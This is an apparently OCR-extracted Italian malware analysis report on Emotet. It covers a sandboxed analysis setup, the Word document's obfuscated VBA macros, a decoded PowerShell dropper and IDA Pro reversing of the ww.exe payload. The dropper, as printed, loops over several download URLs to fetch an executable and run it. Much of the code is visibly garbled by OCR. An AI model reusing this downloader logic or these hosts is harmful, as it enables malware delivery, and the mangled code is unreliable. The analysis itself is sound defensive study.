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1 Introduzione

1.1 Botnet

Una botnet & una rete controllata da un botmaster e composta da dispositivi infettati da un
malware specializzato, detti bot o zombie. | dispositivi connessi ad Internet al cui interno
sussistono vulnerabilita nella loro infrastruttura di sicurezza informatica possono talvolta
diventare parte della botnet, e, se I'agente infettante € un trojan, il botmaster pud controllare il
sistema tramite accesso remoto. | computer cosi infettati, possono scagliare attacchi,
denominati, Distribuited Denial of Service (DDoS) contro altri sistemi e/o compiere altre
operazioni illecite, in alcuni casi persino su commissione di organizzazioni criminali.

1.2 Emotet

Emotet & una botnet che induce un trojan molto sofisticato, che ha la funzione di downloader o
dropper per altri malware. Emotet inizialmente si espande attraverso allegati di posta elettronica
dannosi e tenta di proliferare all'interno di una rete forzando le credenziali degli utenti e scrivendo
su unita condivise.

In caso di successo, un utente malintenzionato potrebbe utilizzare Emotet per ottenere
informazioni sensibili. Un tale attacco potrebbe comportare la fuga di informazioni proprietarie e
perdite finanziarie, nonché interruzioni delle operazioni e danni alla reputazione.

2 Analisi
2.1 Configurazione iniziale e strumenti utilizzati

Abbiamo scaricato il software VirtualBox e abbiamo creato una Virtual Machine con Windows 10.
All'interno della macchina virtuale abbiamo installato una distribuzione personalizzabile basata
su Windows chiamata FLARE che ci mette a disposizione diversi tools per svolgere Malware
Analysis, penetration testing, ecc.

Dopo aver configurato la macchina virtuale, tramite la piattaforma any.run abbiamo scaricato il
file .doc del Malware Emotet ed i payloads da esso generati. Una volta scaricata tutta la
documentazione necessaria per effettuare I'analisi é stata isolata completamente la macchina
virtuale dalla macchina host.


https://github.com/fireeye/flare-vm

2.2 Analisi Emotet.doc

Prima di iniziare I'analisi del Malware é stata creata un’istantanea dello stato attuale della
macchina virtuale al fine di poter tornare in quello stato per qualsiasi necessita.

Per iniziare il nostro studio abbiamo disabilitato le Macro di Microsoft Word per evitare di infettare
la macchina nel caso in cui fossero presenti Macro malevole.

Una volta aperto il documento sorgente .doc del Malware, abbiamo controllato se erano presenti
delle Macro e ne abbiamo individuate due:

Function K_QDQDO(CQCAA_) . Select Case XGO4GD
select (ase GAAdNOA Case 7B3I799256
Case 562228482 Minute CInt{81578945 _
Minute CInt{172368858 _ - Tan{ULUAMAD * Cos(CHBAXABx) + _
< Tang g A Bos (WANALY: +. 1. 980336882 + 617387229))

B12TE1366 + Y2BABAZY3)) End Select

End Selact _ F
telect Case A_AaCa

Select Case nixwCAl
Case Yeapiarsd
Case J2I57EBEEL

Minute €
Minute CInt{217345890 _
- Tan{folht DA * Cos(JULxAC) + _
- Tan(sAGDBEUAL * CosLAAAMUA) + _
S73F5E7T4 + 853526743))
BEUBBESZI + BTE1S8839))
- End Select
End Select
Select Case F_Aaiag Call KwiQak

Case SR4EAII1E Stelect Case bdkZdwd_

Minute CInt{269489384 _ L. Lase feciliged

- Tan(VGABZAQU * Cos(joUlBBK) + _ Minute CInt{S57839682 _

285758812 + A95E12894)) - Tan{DU_xas * Cos(addocGD) + _
End select B30160224 + 203800841))

Set K_QOQDO = Cvar{CQCAA_) Erd Selact

Select Case joMGAQ select Case gOMAAld
Eage BN Case 395178598
Minute CInt({B57527684 _ Minute CInt{931474664
- Tan(cADGAS * Cos{UCKCAAAR) + _ 5 PR
- Tan{m_cQUA * Cos(iABBBG) + _
265654494 + SABEESAER))
2723I6TETE + 425762362))
End Select
End Select
Select Case SCAAA0W
telect Case LUALALA
Case 28847858
Minuta CInt{986330889 _ i

- Tan{RwdlMA * Cos(nCAGUQ) + _ Mdnurte: CInt(435952090,
ZEOB43800 + ST40H1606)) - Tan{CAAADAAD * COS(QAARKGAA) + _
End Select B52514816 + ASEABEEE))
telect Case sUBAAABA End Select
Case 4552127288 End Sub

Minute CInt{253847178

- Tan(wi_UAE * Cos{zAcwQwUA) + _

933289543 + 74988986 )
End Select
End Fumction
Sub autoopen()

telect Case KOAXAZ
Case 642497119

Minute C

(181783225 _

- Tan(Jaxhddce * Cos(

AxkGDAC) + _
BEA1A3252 + B85O57492))

End Salect

Macro 1
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Function KwQQax()
0n Error Resume Mext

Lelect Case FOcABxUC
Case 626636184
Minute CInt{531242896 _
- Tan{goAfddxh * Cos(calDka) + _
615431415 + 553143818))
End Select
Select Case Dowakxa
Casa 779757648
Minute CInt{aasd?esl _
- Tan({ghafso_ * Cos(KUAG_BlA) + _
B53526271 + 339678429))
End Select
Lelect Case bALBDBG
Case 533436387
Minute CInt{9571473281 _
- Tan(rAGoUWGA * Cos{galExXa) + _
S3BILEG9 + S622433687))
End Select
Set VcoAAXDD = K_QDQDOD(GetObject("w" + "inmgmts:W" + "in32_Process" + "5ta” + “rtup”))
Lelect Case KDMAXDC
Case 281267541
Minute CInt{345682419 _
- Tan{LU_AQ1 * Cos{dCxaxod) + _
TO2A5851T + A4I368741))
End Select
Lelect Case QAfdmdd
Case BH38G6449
Minute CLnt{563848337 _
- Tan(oAAADDAD * Cos(a0AUIUxB) + _
BSELHSSEE + HBSEOEEBAT))
End Select
Ewll_af = wbError - wbError
Select Case llwaoDOD
Case 788749121
Minute CInt{332246d454 _
- Tan({HoACU& * Cos{YBAABABW) + _
2632097238 + BAETAEER))
End Select
Lelect Case KCAwWCAMX
Case 67B187T6H
Minute CInt{396623115 _
- Tan({ocBasuaks * Cos(dfwQADwE) + _
V18934891 + 957431T87))
End Select
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Lelect Case WNQAUBL
Case 939437584
Minute CInt{S3Bdesded _
- Tan{odQaxdca * Cos(jAcloXBG) + _
952411414 + 461352274))
End Selact
IaiCe_€ = zh_GoBBL. cUAAGH. ControlSource + zCA_ULA.CANGUK + zA_GoBEC.oUAAGA + zCA_ULA.HGAKGK + zA GCBBC.oUAAGA +
A GCBBC. oA ControlTipText + zCA_ULA.pAcBAG + zA GCBBC. gUAAGA. PasswordChar + zA GoBBC.oUAMGA. ControlSource + zOA ULA.MAQWAU +
zf_GoBBC. clAAGA + zCA U1A. KodAGAQW + zi GoBBC. oUAAGA. ControlSource
telect Case zDAXclg

5. Case 525547524

.| Minute CInt({B38578189 _

- Tan(FGBUQZZB * Cos(daBDCA) + _
TEO232484 + 268229354))
End Select

telect Case nboZcc

. Case 1285752849

. Minute CINt(665626E74 _

- Tan(QoDxchx * Cos(pXDGUG) + _
ABTI523TE + 363925637))
End Selact

Lelect Case zUUBA

r. Case 1ilEea824

Minute CInt(168327506 _

- Tan(iQQGZQUc * Cos(bDwkibo) + _
137965461 + BE@U12248))

End Select

. WohAXDD. _

. BhowWindow = EwU_AR + Ewl_AA + Ewl_AA

Select Case MakZwl

. Lase 328849845

. Minute CInt{sl8825887 _

- Tan{GAAQKGA * Cos(EofcQan) + _
T4R1T1e91 + 72598e433))
End Select

Lelect Case POBGALC

. Case HBAIBTI03

.| Minute CInt{786922374 _

- Tan(paUBaald * Cos{udaGoh) + _
304827477 + 733999203))
End Selact
Select Case JAcAQad
Case 74819874
Minute CInt(S9BETIE31 _
- Tan{holasdiw * Cos{JZUCMWEA) + _
BlE63UEE3 + BROLUTOE))
End SHelect



82. Lelect Case nQGBBAC

93. Case 963972515

94, Minute CInt{496923939 _

95.] - Tan{lUAADDD * Cos(udDCAR) + _
96, 312684836 + 159138785))

97. End Select

98. Lelect Case iUBOOU

99. Case 371BG3S7

188, Minurte CInt{194E53289

181. - Tan(B_CX_BB * Cos(MAkMADOW) + _
182, 6H9Z179E + 73TBI1211))

183. End Select

184, Lelect Case BOMAWAD

185, Case 314554477

186, Minute CInt{13947988 _

187, - Tan(hQehoD_ * Cos(aw=RAd) + _
164, 339318911 + 3444128657

18%. End Select

118, Set BkwaABAAD = K_QDODO(GetObject{"w" + "inmgmts:W" + "in3d2 Process™))
111, telect Case KQULBC

112, Case 3821917689

113, Minute CInt{dc783978l1 _

114, - Tan{wi_AAL x * Cos{TAAALALD) + _
115, 497481388 + S9B366382))

11&. End Select

117. telect Case AACCHA

118. Case 74212689975

119.| Minute CInt{262265027

128, - Tan{AfoZBDd * Cos(BAXAAA) + _
121. 151758259 + 4B35HEO55))

122, End Select

123. BkwaABAAD.Create TZ1kZIAgA + IAUCCC_C + YUchAll, hQDBACA, VcoAdxDD, odQaldx
124. Lelect Case vCCQ4Bx

125. Case 851411947

126.| Minurte CInt{985116547 _

127, - Tan{1afDQ0wh * Cos(hBBAGUADY) + _
128, 319336316 + 7973479297

129. End Select

138, Lelect Case hatokangd

131. Case 518723148

132, Minute CInt{613416816

133, - Tan({lausxDQ * Cos(kAUBAG) + _
134, 329499248 + GBBITS5965))

135. End Select

136. End Fumction

Macro 2



Analizzando le Macro abbiamo trovato del codice superfluo. Successivamente abbiamo isolato il
codice utile al nostro studio e ricavato due macro sospette:

Function K_QDQDOD{CQCAA )
Set K_QDQDD = Cvar(CQCAs )
End Function

Sub autoopen()

Call KwOQAX

End Sub
Macro 1

Function KwQQAax()

On Error Resume Next

Sat VoAaXOD = K_QDoDD(GetObject{winmgmts:Win3Z Processstartup))

Ewl_AA = vbError - vbError

IMiCCc_C = zo GoBEC. oUAAGA. Control%ource + zO8 ULA.CANGUE + za_GcBBC.olanGe + zCA_ULA.HGAKGX + z8 GoBBEC. olach +
zA_GoBBC. olARGA. Control TipText + zCA_ULA. pAcBAG + zA_GoBBC.oUARGA. PasswordChar + zA GoBBC. olAAGH . ControlSource + zCA ULAMAQwWAL! +
zA GCEBC.oUARGA + zOA ULA.KoAGAJU + 78 GoBBC.olMAGA.ControlSource

VoAAXDD . ShowWindow = Ewll A4 + Ewll_AA + Ewll_AS

Set BlwdBAAD = K_QDODD(GetObject(winmgmts:Win32_Process))

BlowABAAD.

aate TZ1KZAGA + LANCc € + YUcAUA, hQDBACA, VoaAXDD, cQOALMx

End Function

Macro 2

L'analisi ci ha consentito di individuare all'interno della sezione form due variabili sospette
(zA_GcBBC, ocUAAGA) che richiamavano dei metodi impossibili da analizzare data I'assenza di
codice al loro interno.

Ci siamo serviti del software Olevba, utile per I'estrazione e la traduzione di codice Macro VBA,
per approfondire I'analisi del documento sorgente .doc del Malware.

Il codice estratto & stato salvato in un file di testo dal quale abbiamo notato uno script in
Powershell codificato in base64.



2. VBA FORM Variable "b'KoAGAQU'" IN '48686534706_May ©1_2019.dec’ - OLE stream: 'Macros/zCA ULA®
L. b JABHAHEAUQBHAE TAQWOAAF BAPQAGACEATWEL AEMATWARAC £ ARAAMAL X AXWANAEQANASAAL S ATwhs ACE AKQATACOAYWE FAEE AMAL X AF EAUQBYACANPQASAC A THALAC EAKW

5. ANADEAMWANACKACWAK AEBAIQEFSEEARAEVAF UAWEASAC BAKAANAHE A TWAFACCADDBAACE AKOAFAC CARAARAC S AKAS LAHS AMOBSAHS AMARSAC TALQBmACE ANAR JACC AL AARAMCAD
6. ghnACkAKQATACQAABRAFEAQQBCAGEAMODEADSATAR] AGAA] g AGAHUA W | AHT Ac ABy AGEAZ gBpAGWATOARACE AXAARAC s ATAB  AGS AD)ABADEAUGBRAT gAKWAGAT e AL gAnALs A
7. KAAAAGUAEAARAC sATWD LACCAKQAPADS ATALLAL EAQQABAEE AUQAGADEAR ARGAC T Aculx AHBASWAWANGAT g ASACOAZ EAZAC  Ae AAN ACHAKASRAE EA Dwhr A cASABVAC c AKQARAL 5
B, AJWEYACCAKWARAEEATWARADATABDAEEAYWEEAE EAQQAGACAAKAMNAGAATON 3ACCAKMARACEATWArAC L AbWE LAGEATWAFACCAZOE S AHQA THAPAC AN T o AGLAVASUAF c ATQDCAE
o. MAYABSAGAASQBFAEAAANTACQAHOBCAEEAQDDIVAF SARAAOAC EAKANLLAHS AMAOAHS AMQEOAT TATARL AGYAKAANAGEACAAMAL s ATWBRACCAKQAS A LATWWAC C AKWARAD AL wia A
18, CRAKQArACEATEETADAAFQATADEAFQETADTATOAL ACBAZ pANAC BASRANA WA TWE LACC AL AOAT LAY EANAL < ATWBHAHAL 2 AMNAC K AXQAr AL CABNARAT SATWE LAGK A TuAr-ACCAYQAN
11| ACSAKAALAHS AMEIGAHS AMOBIAHSAMABLAL TAL DARACASK AR MAGKATWAMAC C ADQBRACE AKDAS AC € AQAvAL c ALAAGACE AL ZANACS ATWE JAGEA Tk AKWANAL TAEWAZ MHH20HA
12| WAHBA WAy AHEACWABAHE ew s SHEAT EATAGYATWE 1 AHMA A s ACEATWAYACEAKWARAE AL SABBAMGAL AAAACKAL AROAT L ALWATAC € AKMANAD TAQWARMC X AL AANAGEATWASAC CANY
13| ANACKAKWARAHMAOEANAC S ATWAYACEATWArAL gAT R TADEAFOBTADTAFQRT ADAAF QAL ACAATEASAL CAJABhAC E AKNARAGWA TWArAC E AZQBRAHTAZQBUACE AKQAS ACE ADQBVAC CAL
14 AANAGAATWARACEATWDZACCAKMAOACCAZOAUAL e A WANAGEATWARAC S AKAL L AHS AMABDAH: MOBGAC TALOBRACEATWBy AGEAT WA AL AZEARACKAL AAAAGK ATWARAC S AKAA L AHS A
15, MABOAH:AMOBOAC TATAALAGYAKAARAGMALWEZAL c AKWANAGEATnARACWATWE EACC AKQAFACEAT g BT ADAAFQBTADEAFDALACAAL QEAC RATwE 2 AL CAKWAN ACIAYWARAC K ALAATAGK
16, AJwApACSAKAALAMSAMQOAHS AMEBOAHCAMATGAC TALOBRACAA WD tAC BATWASAC CAYQARACWAK AN AGTA bB ZACAA TWAFACCAYWEVACCAKQAPAC SATWErACC AKWADAC LAty AH
17.| BlewAHAHBAENAXAMBATGAGACEATRARACEATWEIACC AKMANAGEA Co Tk AMMA Dinfir A ALMARAT KAL Al AT c ARGARAC S ATWEPAF K AbwANACKAL AARACUME QAN ACK AKWADAC Thewlix A
18, HEAEWAMAHDA EwA 2 AHB AW Ay AHDAT EARA BAT EAZAC CADAANACHATWAYAC  ALAADACC ACABBAHAL  whr A c ADRAVAC BACAMNAL 5 ATWB1AHT A TulpACw Jwlaalc AKOArACL A2 QAN
19.| ACSATWBLAGEATWARACE AL GANATEATwBVAL CAKWASAC T AeuA KAHALSWAHBATEA L AGY A TuBTAC C AL AA6AC c AL B ACE AXWANAGEATWARAC KA KWAGLT T hewAnAHBAEWA X MRATZA
.| LAGYAKAANACEAMQARAC SA A ACEAKQAS AL CASWA IACE AKQAFACEATWAYACEAKWARAE AR SALAC K AKX WhD ACE AABBAT L ANWANAHAA TuAPAL S AKAN LAHS AMARGAHSAMOBOAC TATA
21| ALAGYAKAANADOALWANAC SATWAYAGOATMAPA WATWWAGEAT WAPAC s AKAANAHAZANAC S ATWE JAC CAKDFACE AAARAC s AKAAT AHS AMOBOAHS AMARS S ANGBIACTAL QBmACEA]
22 WAVAGHACHARACEATWDZACCAKQASACEATWALAGMALWANAT LA TwE LACC AKDAS ACEA TAVACCAKWARAE C ATWBPACCAKQARAC s ATWE A c AKNACAC CACQXAC CAKMARACEA THARALS A
23, JWEAACCAKWARAGEATWAACEATEBTADAAFOETADEAF (A LACAAL QBmACAAJWIBAC C AL ALCAC CASABWAC L AKWANADOATHAPAC kAK WA ACEATHAF AL CALwhx AT CAKAOAC TAsnA x AHE
24, BawAWAHBATEARACBAT gASAC: AL BARACHAK AMRADE ABAAUAC c AKRANADEADGANACKAKQArACEAT gR T ADTAFQBTADAAFOETADE A QAL ACRAZ A RAC CANGASACKAK AARACA AMQAZAL
25, CAKWANADYALWARACKALAANADTAHOANACK AKWASAL T Aewiy AHOA EnlniHE e lx AHAAT g A L AGY AT WlwA L 0 AT wASAC EATWERAC A TwAr ACCAYWARAT kALAANAHC ATHAPAC SAKALN A
26, GWATWArACCAOQBKACCAKQAFACRATEBTADE AFODT ADAAF (A LACAALQBMAC AAK AANAHHATuArAT CALWE S ADUAL KARACKAL AANAGUA TwAR ACKAL BB TAMAEAR JAHOAKAS RAEAN Tnly
27.| ADsATABVAEEAQQEYAFSAQQBCAETAPQAOAL CATEANACSATWEVAHEA T rACZA THE JADEA TurAl € AVQAAACKAKQATAGY Abwly AGLAY(E  AGRAKALAGK AQQASAEAbWB IAE EATAS
26| pAGAATAAKAFkAQEBBAEEAV)EFAEQAKQETAMOA gBSANS AT ABDAEE AYWEE AEEAQQAUAEQATWEIAE AABADP AGEATABGAGK ALADT A A TABPAE E AdWE EAGEAdLBBACKAT AAKAGEALG
29| BRAEEAQEEADEAQQMAHADSATABHAEMALIQEAADOADOASAC BAKAM LAHS AMARG AHSAMOBOAC T ATANT AGYATWE X AGRA TuASAC gA TWET-AC E AKMANAE EAQEARAT K AKQAF ACc AQWBIAC CAK
0. QATAEKAZEARACEAKAAMAC SATHEHAGLACAAMAL £ ATWAL AEKATMArFACC ACAR LAGEATARACAAT ARCAT E ALQBEAETALHAXAE EAKQAUAGHARDBOAGCAVATSACAAL QBrAGLATAAZ AD A
31, MgAzADGAKQARAHSAL gACACEASOBUAHYATWArAL £ AbAnAC s ATwBrAC CAKwARAGUAL QBT AHQAZOBEAC L AKQAGACQAARRAF EAQQECAGEAMOBEAD s A TAD 2 AEEAQOBBAE EAQQERADG
13, APQACACEATEEFADEAF QT ADAAFQALACEATARAC gATMBEAL c AKRANAHEAQQANACK AL AARAHUASAANAL KAKKANAEQA TWARADS AY g0y AGLAYQErAD S ATABZAFUAUQBEAE EAQQABAC
33, gAKAANAGOATWAFACCALGRRACCAKQArACEATEE7 ADEAFQBTADAATQALACAAL GBNACAAKASNAE EARALNAL s ATWBRAC CAKQASAC L ARWANACKAKWARAE EAT WA AHAAFOE ] AGEAIAE | &
34| GgAewBOAHBAIARPAEGAVORBAHC AEAACAL pAKALL AHS AHARD AHS AMODIAC TALGBRACAAK AARAGE AUGAAAL s ATWBEAC cAKQASAC C AaWANACKAKNARAF SAQQANACKS "

36. VBA FORM Wariable "bL'CANGUK™™ IN ‘48686534786 _May 81 _2819.doc” - OLE stresm: 'Macros/:CA_LHA*

‘Macros/eCa_ULA'

44, VBA FORM Wariable "b'pACBAG"™ IN ‘48686534786 May A1 _2@19.doc” - OLE stream: 'Macros/:CA_UIAY

48, VBA FORM Variable "bL'MAQWAL"™ IN ‘48686534786 _May A1 _2819.doc” - OLE stream: 'Macros/zCA_LHA'

Parte del file di testo estratto con Olevba

Successivamente abbiamo decodificato lo script ottenendo un codice occultato che poi abbiamo
riscritto in chiaro.



1. $ GNQGBCA _ = {{ 'KC' #+ "D°) + ‘D4’ + ‘1');

2. % ckAS1QQK = ('8 + '13');

3. % OQRADUUZ = ({ 'q' + “&x") # D' + { “{1} {8} - F4c', ‘W')):

L. $ HQQABOLA = § ENV: userprofile + '\' + § CKASIOQN + (' ' 4 (7 ex T+t e')):
5. § uARMAQA = (("" 1} {8} T-F 'x', (AU 4+ CRUT)) + K+ A');

6. § CACDAA =. ('Mew’ + '=7 + "0bJ" + "ect’} n’ eT.WeBC 1 IENE;

$ YBAALD = ((("{@} 41} -F ("hi' + "'}, ("p" + "t [U)) + (7{@} {1} {2}" - F S w7, et (BT 4+ tapht)) + o'+ 'BIT o+ tat + (7{2} {1} {e}’
SF 0 e ma )t m (e teetd) + (AN (B) {2) {8} {1 - Fest, (4 4 @ htp ), (047 TR0 g, Cath e st 0 e 0t
{1} {2} {837 -F  'ta' = C1T = Cegren'), RO, )+ 0 s 4 [ Celt + gt o+ (A {137 - F {'rat 4+ ET), CE') 4 (7{@} {1} -F (‘cos' +
')y TsTw ({8} {1} T-F {'sT + 'ec'), 'L} o+ (7 {1} {2} {8} T- F "m /7, ta’, ("dos.” & ‘e’ )} o+ Ck's (T{2} {8} {1}" -F (W' + ‘ords’ +
e [TFT e ovet), Cey') + ({1} { @} {3} {2} T-F @, S0 (CEEpT o+t ffpt e tuRt), Y+ 'Ltos tmat o+ ' r '+t 0 Ce [ T{1} {8} - £'m°,
[N M T ST SR E AR S A RS A PO A R S AN B A TR S A RS A (-1 £ § S A A B PR~ B B (U TS =
BT h e P ABEA2E - F (0 es 4 sT), { taco et mt), (TR 600 R} =T w s (Cad ) T @ CH R+ { THBE {1} F e,
CRpT # TET)N+ A S 1T (7 {1 {el T-F LT, (PIEC+ 89 7)) e (T2 {8} {1} - FT 5, (0. 16 T+T 64 "), 21 ')+ (7{2} {8} {1} "- F'p
S AR e e ) T A (L e ud )+ (7 B {8 T-F (s et J LS S U, e t)), SpLIE (L0 B )
B f UAAX ABB = { F' 4+ ‘oWt + ( Cel' + WYY

9. foreach (3 LéwDowA in $ YBAAL D) |

18. provare |

11. § CACDAA.DOWMIDadFI1E (§ EAwDowml, % hQQABoIA):

12. $ aCQxdA = ({("{@} {1}" -Frgo ', (' &k "+° AB ")) +' Cw ');

13, IF ((B ("Get' + '- I' + "tem') § hQOQABolA) .LEMgTh -ge 37238) {
14, o (TInv' + '@’ # "K'+ "e-Item') § hQQABo1A;

15. §osAAMAAGA = ((T{1} {8} - £ ("A" + "wA"), ‘uwx') + 'D°);
16. rORPEre

17 § WUQAAA = (('" m "+" QA ') 4+ ("1} {8} -F (" AD '+° Q "),C G ')+ A )
18. }

19, 3

28. catturare {}

. 4

22.0 % iDUAN = {("" @ @ {1} "= F ("#Q" + 'A'}, K"} + "Ta')

Script decodificato

1. $6xQGBECA =((KIDDA1);

I BckALIQQX = (B13);

3. S00kADUUZ=(gaxDwidc ) ;

L Ilmﬁﬁulﬂziurw ruserproflle’\Sckad 10N exe |

Do BuAALADLS | [AxUxdA),

6. ESCAcDAR=. (New-objecl) neT. WeBCLIENT;

7. EvaA A _D=({http://webaphoblia. con/images /72Ca/8

B. https:/fmontalegrense.graficosassociados. confkeywords/ FOyo/

9. ghttpp:/fpurlmaro. com/l/we/@hitp: // jpmtech. con/css /GO0Ovad/
18, ghttp:/ 118 B5. 215, 166/ wp-includes,/ 15/ . Spl1It("@");
11. ZUARK ABB={fowcll) )

12, Foreach($iAwDowd in £YBAAU D)

13 try {

14, SCACDAA . DOWHLOAdF11E (S iAwDowA, SHOQARGIA);
15. SaCQxdA={gokABCw} ;

16. If ((&(Get-Ttem) SHOQABoLA).LENgTH -ge 37238) {
17. A Irwoke-Ttem) ShQQABOLA;

18. $EARANAQA { LxAXAD) 3

19. break;

. FYUQALL- (nQAGADRA )

1. ¥

22 1

23, cateh  {}

4. }

25, £iDUAwx=( aQAKZA)

Script decifrato



Analizzando lo script ci € stato possibile capire che venivano effettuate delle richieste a diversi
domini e che il primo disponibile avrebbe effettuato il download del payload.

Questo procedimento puo essere svolto in alternativa tramite il software Procmon, che consente
di monitorare i vari processi durante I'esecuzione dei programmi. In particolare questo software
ci consente di filtrare i vari processi in modo da poter visualizzare quelli di nostro interesse, in
questo caso da Word e da Powershell. Identificando il primo processo eseguito da Powershell &
possibile estrapolare lo script lanciato dal Malware, codificato in base64. Sconsigliamo I'utilizzo
di questo metodo poiché é necessario infettare la macchina al fine di visualizzare il processo che
lancia lo script.

2.3 Analisi dell’eseguibile ww.exe con IDA Pro

Inizialmente abbiamo utilizzato il software Pestudio con il quale siamo riusciti ad estrapolare
delle informazioni importanti come il formato del file (32-bit) ed il linguaggio con cui & scritto
(Microsoft Visual C++). Inoltre questo software ci consente di visualizzare tutte le stringhe
contenute all’interno del file.

E pestudio 2.99 - Malware Initial Assessment - www.winitor.com [chusershieuseridesktop\payload stesso sha'ww] = X
file help
M ikcator (7ia0) me5 ED20AAOGIFIACATBE3ADIDTBEATOTIE
t’ doss eaider (64 ptes) shal ?BWTEZEBEABEBBSBKE?FBSTHEM?SEDEATTBE?BE =
sha2st 30BB20ED402AFET585BAE4680F TSEDESDERD6580A229042C3ASTEECEFCT53DET

B dos-stub (64 bytes)

> file-header (May.2018) mels withoue overiy

> optional-header (GUI) shal-without-overlay

= directories (4) sha236-without-overlay

> sections [96.76%) first-bytes-hex 4D 5A 90 0003 00 00 00 04 00 0D 00 FF FF 00 00 BS 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
> libraries (3) first-bytes-text MZ i @

] imports (8/61) file-size 135992 (bytes)
size-without-overlay
] entropy 6.941

1 resources (icon) imphash 31D9BE2B0ED437D713996F40BAT2B848E
be strings (8/959) signature Microsoft Visual C++ vb.0
45_}“— entry-paoint 55 88 EC 6A FF 68 B0 TE 40 00 68 76 20 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53
-5 file-version 170211443
~-{11] version (DropCypher.exe) description Dropbox Encryption
gl certificate (31/12/2039) file-type executable
-~ cpu 32-bit
subsystem GuUl
compiler-stamp OxSAEATCIOE (Wed May 02 20:06:06 2018)
debugger-stamp
resources-stamp 0x5CCBBO1E (Thu May 02 20:06:06 2019)

exports-stamp
version-stamp




Abbiamo continuato I'analisi del payload attraverso I'utilizzo del decompilatore IDA Pro.

Questo strumento ci ha consentito di analizzare sia il codice assembly del programma che lo
pseudocodice. Inizialmente abbiamo svolto un’analisi generale al fine di avere un’idea riguardo al
flusso del programma.

Una volta individuato la funzione principale(main), abbiamo iniziato un’analisi dettagliata delle
funzioni da essa richiamate fino ad arrivare alla funzione, da noi rinominata, start_malware.

int savedregs; // [esp+l4h] [ebp+gh

sub_48178(); // --ranalizzata (inizializza la variabile a 344444443)
savedRegs = al;
savedRegsPointer = (int)&sa
RegOpenKeyA fun = *(int (_
getRegkey();
RegQueryValueExA fun = *(int (_ cdecl **)(_C
unkownData_Pointer = getRegValueContent();
sub_4@1448(); // --ranalizzata, alloca nuove celle di memoria con VirualAllocEx
indexl a;
index2
index3 = 13
while ( 1)
{

minValue = getMinvalue(var_7Bh, unkownData_Pointer_less4byte_2);// 7Bh = 123

if ( indexl »= (unsigned int)unkownData_Pointer less4byte 1 )

break;

sub_4@1688(); /{ --» analizzata, dovrebbe allocare in memoria

dword_418FE@ = minValue;

index2 += index3 + var_7Bh + 21;

index2 -= 21;

\D) JRegOpenKeyA; // apre la chiave di registro specificata

_DWORD, _DWORD, _DWORD)}RegQueryValueExA;// legge un valo

oo
>
uy

index1 += var_7Bh; // la variabile ha lo stesso valore di wvar_7Bh
unkownData_Pointer_less4byte_2 -= minValue;

¥

decrypt3(); J/ -->analizzata

return sub_401268();

Da una prima analisi di questa funzione & stato possibile vedere che venivano salvati due
comandi RegOpenKey e RegQueryValueEx all'interno di due variabili.

I comando RegOpenKey serve per aprire la chiave di registro specificata.

Il comando RegQueryValueEx legge un valore dalla chiave di registro. Puo leggere diversi tipi di
dato: numeri, stringhe e qualsiasi altro tipo di dato di registro.

Dopodiché siamo passati all’analisi delle singole funzioni richiamate all'interno di essa, seguendo
il flusso del codice, al fine di capire il loro comportamento.

int sub_481678()

int result; // eax

for ( var_344444443 = 33; (uns

d int)var_ 344444443 < 344444443; var_ 344444443 += 5 )// Tor(33; 33<8x1487CELB; 33=33+5)
esul var_344444443 + 53 // risultato = 33 + 5
return result; // ritorna il risultato

}

s

In questa funzione viene svolta un’operazione aritmetica di incremento su una variabile, da noi
rinominata var_344444443, fino al raggiungimento del risultato atteso, che poi viene ritornato
dalla funzione.
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int getRegkey()

var_344444443 = @;
calculateRegValueKey();
return getRegKeyKey();

Iy

[/ Interface\{AASBGASB-B834-11D0-932F-B0ABCIBDCAAT}
// return registry_key handle

In questa funzione viene inizializzata a 0 la variabile var_344444443 e viene richiamata la
funzione calculateRegValueKey.

char *calculateRegValueKey()

{
char *result; // eax
/f Interface\{AASBGAB@-BE34-1100-932F-BRABCIBDCAAT}
var_ 344444443 = @;
*(_BYTE *}(regkeyValue + 19) = '-';

E F)(var_344444443 + regleyValue + 28) = var_344444443 + 'b";

£ F)(var_344444443 + regleyValue + 21) = var_344444443 + "3';
*y(var_344444443 + regleyValue + 22) = var_ 344444443 + '3°;

E *)(var_344444443 + regleyValue + 23) = var_344444443 + "4°;

E F)(var_344444443 + regleyValue + 24) = var_344444443 + '-°;
Fy(var_344444443 + regleyValue + 25) = var_ 344444443 + '1°;
“y(var_344444443 + regleyValue + 26) = var_344444443 + "1
Fy(var_344444443 + regleyValue + 27) = var_ 344444443 + 'd’;
“Y(var_344444443 + regleyValue + 28) = var_344444443 + '8°;

E F)(var_344444443 + regleyValue + 29) = var_344444443 + '-';

E *)(var_344444443 + regkeyValue + 38) = var_344444443 + '9°;

E F)(var_344444443 + regeyValue + 31) = var_344444443 + '3
Fy(var_344444443 + regleyValue + 32) = var_ 344444443 + '2°;

J{var_ 344444443 + regleyValue + 33) = var_ 344444443 + 'f';
Fy(var_344444443 + regleyValue + 34) = var_344444443 + '-';
Fy(var_344444443 + regkeyValue + 35) = var_ 344444443 + '8°;
“y(var_344444443 + regkeyValue + 36) = var_344444443 + "@°;

E *)(var_344444443 4 regleyValue + 37) = var_ 344444443 + 'a';

E *)(var_344444443 + regleyValue + 38) = var_344444443 + '8°;
*)(var_344444443 + regleyValue + 39) = var_344444443 + 'c’;

E F)(var_344444443 + regkeyValue + 48) = var_344444443 + '9°;
“y(var_344444443 + regleyValue + 41) = var_344444443 + '@
Fy(var_344444443 + regleyValue + 42) = var_ 344444443 + 'd’;
*Y(var_344444443 + regkeyValue + 43) = var_ 344444443 + 'c’;
“Y(var_344444443 + regleyValue + 44) = var_344444443 + 'a’;

E *)(var_344444443 + regleyValue + 45) = var_ 344444443 + 'a’;

E F)(var_344444443 + regKeyValue + 46) = var_344444443 + '9°;
*y(var_344444443 + regleyValue + 47) = var_ 344444443 + "}

E *)(var_344444443 + regleyValue + 48) = "\@';

E *)(var_344444443 + regleyValue) = var_344444443 + "i°;

+ regkeyValue + 1) = var_344444443 + 'n’;
+ regkeyValue + 2) = var 344444443 + 't°;
+ regkeyValue + 3} = var_344444443 + 'e’;
+ regkeyValue + 4) = var_344444443 + 'r';
+ regkeyValue + 5) = var_ 344444443 + 'f';
+ regkeyValue + 6) = var_344444443 + 'a’;
+ regkeyValue + 7} = var_ 344444443 + 'c’;
+ regheyValue + 8) = var_344444443 + 'e';
+ regkeyWalue + 9) = var 344444443 + "\\';

”)(var_34444¢443 + regkeyValue + 18) = var_ 344444443 + '{';

